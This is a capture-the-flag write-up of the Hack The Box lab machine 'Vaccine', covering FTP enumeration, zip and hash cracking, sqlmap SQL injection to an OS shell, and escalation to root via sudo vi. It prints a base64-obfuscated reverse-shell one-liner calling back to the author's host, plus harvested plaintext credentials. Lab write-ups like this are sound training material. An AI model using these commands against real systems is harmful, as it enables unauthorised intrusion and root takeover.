0xnhl

HTB: Vaccine Writeup

/ Update
6 min read

Machine URL: https://app.hackthebox.com/machines/Vaccine

Recon#

Nmap

❯ nmap -sV 10.129.95.174
Starting Nmap 7.92 ( https://nmap.org ) at 2026-08-23 23:12 IST
Nmap scan report for 10.129.95.174
Host is up (0.46s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.95 seconds
plaintext

Exploring FTP with the anonymous user.

We are able to get a backup.zip file, but it is password protected.

❯ unzip backup.zip
Archive:  backup.zip
[backup.zip] index.php password:
   skipping: index.php               incorrect password
   skipping: style.css               incorrect password
plaintext

We can use John to crack the password.

❯ zip2john backup.zip > hash.txt
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963        (backup.zip)
1g 0:00:00:00 DONE (2026-08-23 22:20) 33.33g/s 546133p/s 546133c/s 546133C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
plaintext

Extract the archive using this password.

❯ unzip backup.zip
Archive:  backup.zip
[backup.zip] index.php password:
  inflating: index.php
  inflating: style.css
plaintext

Inspecting the files in the zip,

❯ cat index.php
...
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
...
plaintext

We are able to find some credentials.
HTB-HTB_Vaccine-78805a22
We easily get the passwords using crackstation.net.

Let’s use them to the website at the machine ip.
HTB-HTB_Vaccine-78805a22-1
The website show a search field and some data.
This maybe vulnerable to SQLi.

Exploitation#

Get the cookie from Developer tools -> Network tab .
HTB-HTB_Vaccine-78805a22-2

Let’s use SQLmap, to enumerate for sqli.

SQLi is possible.
Now lets try to get a shell with the --os-shell option.

We successfully get a shell as the postgres user.

I’m gonna use penelope to get a reverse shell to my system.

os-shell> printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTMvNDQ0NCAwPiYxKSAm|base64 -d|bash
plaintext
❯ penelope -p 4444
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 • 10.10.15.13
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => vaccine 10.129.166.102 Linux-x86_64 👤 postgres(111) 😍️ Session ID <1>
[+] ⭐ Agent deployed via /usr/bin/python3
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /home/neo/.penelope/sessions/vaccine~10.129.166.102-Linux-x86_64/2026_08_23-22_50_52-769-postgres(111).log
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
postgres@vaccine:/var/lib/postgresql/11/main$ pwd
/var/lib/postgresql/11/main
postgres@vaccine:/var/lib/postgresql/11/main$ ls
base	pg_commit_ts  pg_logical    pg_notify	pg_serial     pg_stat	   pg_subtrans  pg_twophase  pg_wal   postgresql.auto.conf  postmaster.pid
global	pg_dynshmem   pg_multixact  pg_replslot  pg_snapshots  pg_stat_tmp  pg_tblspc	PG_VERSION   pg_xact  postmaster.opts
postgres@vaccine:/var/lib/postgresql/11/main$ id
uid=111(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert)
plaintext

We can get the postgres user flag from the /var/lib/postgresql directory.

postgres@vaccine:/var/lib/postgresql/11/main$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
postgres:x:111:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

postgres@vaccine:/var/lib/postgresql/11/main$ cd /var/lib/postgresql
postgres@vaccine:/var/lib/postgresql$ ls
11  user.txt
postgres@vaccine:/var/lib/postgresql$ cat user.txt
====REDACTED====
plaintext

Privilege Escalation#

Let’s explore the actual hosted website sources:

postgres@vaccine:/var/lib/postgresql$ cd /var/www/html
postgres@vaccine:/var/www/html$ ls
bg.png	dashboard.css  dashboard.js  dashboard.php  index.php  license.txt  style.css
postgres@vaccine:/var/www/html$ cat dashboard.php
...
	 $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
...
plaintext

We are able to find the credentials for the postgres user.

Let’s use them to see what we can run as sudo:

postgres@vaccine:/var/www/html$ sudo -l
[sudo] password for postgres:
Matching Defaults entries for postgres on vaccine:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User postgres may run the following commands on vaccine:
    (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
plaintext

The postgres user has permission to edit the file /etc/postgresql/11/main/pg_hba.conf using /bin/vi.

Vi has the ability to spawn shells. For that open vi and press escape to enter normal mode, then type : to enter command-line mode and enter !/bin/bash to get shell.

Since our user has access to sudo, we will open vi with sudo which in turn will give us a root shell.

postgres@vaccine:/$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
plaintext

We get root shell!!

root@vaccine:/var/lib/postgresql/11/main# id
uid=0(root) gid=0(root) groups=0(root)
root@vaccine:/var/lib/postgresql/11/main# cd /root
root@vaccine:~# ls
pg_hba.conf  root.txt  snap
root@vaccine:~# cat root.txt
====REDACTED====
plaintext

And the flag!! :)

HTB: Vaccine Writeup
https://nahil.xyz/vault/writeups/hack-the-box/htb-vaccine/
AuthorNahil Rasheed
Published atAugust 23, 2026
CopyrightCC BY 4.0
DisclaimerThis content is provided strictly for educational purposes only.